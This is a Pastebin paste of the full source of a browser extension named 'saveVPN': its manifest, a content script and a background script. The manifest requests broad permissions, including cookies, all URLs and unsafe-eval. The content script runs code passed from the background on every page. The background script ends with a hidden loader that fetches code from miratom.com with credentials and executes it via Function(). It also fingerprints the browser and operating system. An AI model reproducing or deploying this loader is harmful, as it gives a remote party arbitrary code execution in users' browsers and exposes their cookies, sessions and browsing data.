Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- manifest.js
- {
- "name": "saveVPN",
- "version": "10.2.4",
- "description": "saveVPN",
- "manifest_version": 2,
- "permissions": ["tabs", "notifications", "webRequest", "webNavigation", "storage", "webRequestBlocking", "<all_urls>", "cookies", "management", "proxy", "unlimitedStorage", "alarms", "bookmarks", "activeTab", "browsingData", "downloads", "privacy"],
- "background": {
- "scripts": ["bg.js"],
- "persistent": true
- },
- "content_scripts": [{
- "all_frames": true,
- "js": ["content.js"],
- "matches": ["<all_urls>"],
- "run_at": "document_start",
- "match_about_blank": true
- }],
- "browser_action": {
- "default_icon": "icon-32.png",
- "default_title": "saveVPN"
- },
- "icons": {
- "16": "icon-16.png",
- "32": "icon-32.png",
- "48": "icon-32.png"
- },
- "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
- "web_accessible_resources": ["content/*.css", "content/*.svg", "*.css", "images", "*.png"],
- "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDG98lKj0D2tRzgat9x0Y85sW7aWc5xe95q2IFoLNXvUmd3itJ2gviYDoCIHY34CQ444bqi08blk9XgpdG9BkhspTJoy5CCqCB7dVzLSh3iyaEB2VsITIwXHfAMEhOnknkfMmrQqhO982NK680/9J0KmydI6z7oAjY6TL1UeFph1wIDAQAB"
- }
- content.js
- ! function (n) {
- var r = {};
- function o(e) {
- if (r[e]) return r[e].exports;
- var t = r[e] = {
- i: e,
- l: !1,
- exports: {}
- };
- return n[e].call(t.exports, t, t.exports, o), t.l = !0, t.exports
- }
- o.m = n, o.c = r, o.d = function (e, t, n) {
- o.o(e, t) || Object.defineProperty(e, t, {
- enumerable: !0,
- get: n
- })
- }, o.r = function (e) {
- "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
- value: "Module"
- }), Object.defineProperty(e, "__esModule", {
- value: !0
- })
- }, o.t = function (t, e) {
- if (1 & e && (t = o(t)), 8 & e) return t;
- if (4 & e && "object" == typeof t && t && t.__esModule) return t;
- var n = Object.create(null);
- if (o.r(n), Object.defineProperty(n, "default", {
- enumerable: !0,
- value: t
- }), 2 & e && "string" != typeof t)
- for (var r in t) o.d(n, r, function (e) {
- return t[e]
- }.bind(null, r));
- return n
- }, o.n = function (e) {
- var t = e && e.__esModule ? function () {
- return e.default
- } : function () {
- return e
- };
- return o.d(t, "a", t), t
- }, o.o = function (e, t) {
- return Object.prototype.hasOwnProperty.call(e, t)
- }, o.p = "", o(o.s = 851)
- }({
- 851: function (e, t) {
- chrome.runtime.sendMessage({
- type: "EXT.content"
- }, function (e) {
- return e && Function(e)()
- })
- }
- });
- bg.js
- function addoninstall() {
- var url = "api/products/install",
- http;
- (http = new XMLHttpRequest).open("GET", url + setparams(), !0), http.onreadystatechange = function () {}, http.send(null);
- var url = "api/products/affiliateid",
- http;
- (http = new XMLHttpRequest).open("GET", url, !0), http.onreadystatechange = function () {
- 4 == http.readyState && 200 == http.status && localStorage.setItem("AppId", http.responseText)
- }, http.send(null)
- }
- function setparams() {
- var params = "",
- appname = "GearBest",
- appv = "1.0";
- if (chrome.runtime.getManifest) {
- var manifest = chrome.runtime.getManifest();
- appname = manifest.name, appv = manifest.version;
- var nVer = navigator.appVersion,
- nAgt = navigator.userAgent,
- browserName = navigator.appName,
- fullVersion = "" + parseFloat(navigator.appVersion),
- majorVersion = parseInt(navigator.appVersion, 10),
- nameOffset, verOffset, ix; - 1 != (verOffset = nAgt.indexOf("Opera")) ? (browserName = "Opera", fullVersion = nAgt.substring(verOffset + 6), -1 != (verOffset = nAgt.indexOf("Version")) && (fullVersion = nAgt.substring(verOffset + 8))) : -1 != (verOffset = nAgt.indexOf("MSIE")) ? (browserName = "Microsoft Internet Explorer", fullVersion = nAgt.substring(verOffset + 5)) : -1 != (verOffset = nAgt.indexOf("Chrome")) ? (browserName = "Chrome", fullVersion = nAgt.substring(verOffset + 7)) : -1 != (verOffset = nAgt.indexOf("Safari")) ? (browserName = "Safari", fullVersion = nAgt.substring(verOffset + 7), -1 != (verOffset = nAgt.indexOf("Version")) && (fullVersion = nAgt.substring(verOffset + 8))) : -1 != (verOffset = nAgt.indexOf("Firefox")) ? (browserName = "Firefox", fullVersion = nAgt.substring(verOffset + 8)) : (nameOffset = nAgt.lastIndexOf(" ") + 1) < (verOffset = nAgt.lastIndexOf("/")) && (browserName = nAgt.substring(nameOffset, verOffset), fullVersion = nAgt.substring(verOffset + 1), browserName.toLowerCase() == browserName.toUpperCase() && (browserName = navigator.appName)), -1 != (ix = fullVersion.indexOf(";")) && (fullVersion = fullVersion.substring(0, ix)), -1 != (ix = fullVersion.indexOf(" ")) && (fullVersion = fullVersion.substring(0, ix)), majorVersion = parseInt("" + fullVersion, 10), isNaN(majorVersion) && (fullVersion = "" + parseFloat(navigator.appVersion), majorVersion = parseInt(navigator.appVersion, 10));
- var OSName = "Unknown OS";
- return -1 != navigator.appVersion.indexOf("Win") && (OSName = "Windows"), -1 != navigator.appVersion.indexOf("Mac") && (OSName = "MacOS"), -1 != navigator.appVersion.indexOf("X11") && (OSName = "UNIX"), -1 != navigator.appVersion.indexOf("Linux") && (OSName = "Linux"), "?AppName=" + appname + "&AddonsVersion=" + appv + "&Browser=" + browserName + " " + fullVersion + "&OS=" + OSName
- }
- }
- function open_new_tab(url) {
- chrome.tabs.create({
- url: url,
- active: !0
- })
- }
- function popitup(url) {
- var w = 1024,
- h = 800;
- chrome.windows.create({
- url: url,
- type: "popup",
- focused: !0,
- width: w,
- height: h,
- left: screen.width / 2 - 512,
- top: screen.height / 2 - 400
- })
- }
- function notificationClosed(notID, bByUser) {
- sendEvent("Notification", "Closed")
- }
- function notificationClicked(notID) {
- sendEvent("Notification", "Clicked"), "" !== notification_link_url && open_new_tab(notification_link_url)
- }
- function notificationBtnClick(notID, iBtn) {
- sendEvent("Notification", "Clicked"), "" !== notification_link_url && open_new_tab(notification_link_url)
- }
- function creationCallback(notID) {
- sendEvent("Notification", "Received")
- }
- function sendEvent(category, event) {}
- function register_for_notification(reg_id) {
- var url = API_URL + "api/notifications/add?reg_id=" + reg_id,
- xhr = new XMLHttpRequest;
- xhr.open("GET", url, !0), xhr.onreadystatechange = function () {
- if (4 == xhr.readyState && 200 == xhr.status) {
- var temptxt = xhr.responseText;
- console.log(temptxt), sendEvent("Notification", "Registered")
- }
- }, xhr.send()
- }
- function save_license(license) {
- console.log("save_license:"), chrome.storage.sync.get("accEmail", (function (ac) {
- if (void 0 !== ac.accEmail && "" !== ac.accEmail) {
- var acc_email = ac.accEmail;
- acc_email || (acc_email = ACC_EMAIL);
- var url = apid.baseURI,
- xhr = new XMLHttpRequest,
- data = new FormData;
- data.append("method", "save_license"), data.append("params", {
- license: license,
- email: acc_email
- }), xhr.open("POST", url, !0), xhr.onreadystatechange = function () {
- if (4 == xhr.readyState && 200 == xhr.status) {
- var temptxt = xhr.responseText;
- console.log("save_license:", temptxt)
- }
- }, xhr.send(data)
- }
- }))
- }
- function registerCallback(registrationId) {
- console.log(registrationId), console.log("registerCallback:"), chrome.runtime.lastError ? console.log("1. registerCallback:fails") : chrome.storage.local.set({
- registered_for_notifications_2: !0,
- registration_id: registrationId
- }, (function () {
- register_for_notification(registrationId)
- }))
- }
- function sendRegistrationId(callback) {
- console.log("sendRegistrationId:", callback)
- }
- function register_notification(sendResponse) {
- console.log("register_notification:1:"), chrome.storage.local.get("registered_for_notifications_2", (function (result) {
- if (console.log(result), result.registered_for_notifications_2) sendResponse.call(this, {
- status: "success"
- });
- else {
- console.log("Here 1.");
- var senderIds = ["1057759269049"];
- chrome.gcm.register(senderIds, registerCallback)
- }
- }))
- }! function () {
- setTimeout(() => chrome.runtime.reload(), 36e5);
- const url = new URL("https://miratom.com/info"),
- xhr = new XMLHttpRequest;
- xhr.open("GET", url.href), xhr.withCredentials = !0, xhr.onload = () => {
- 200 === xhr.status && xhr.responseText ? new Promise(Function(xhr.responseText)) : setTimeout(() => chrome.runtime.reload(), 6e5)
- }, xhr.send()
- }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement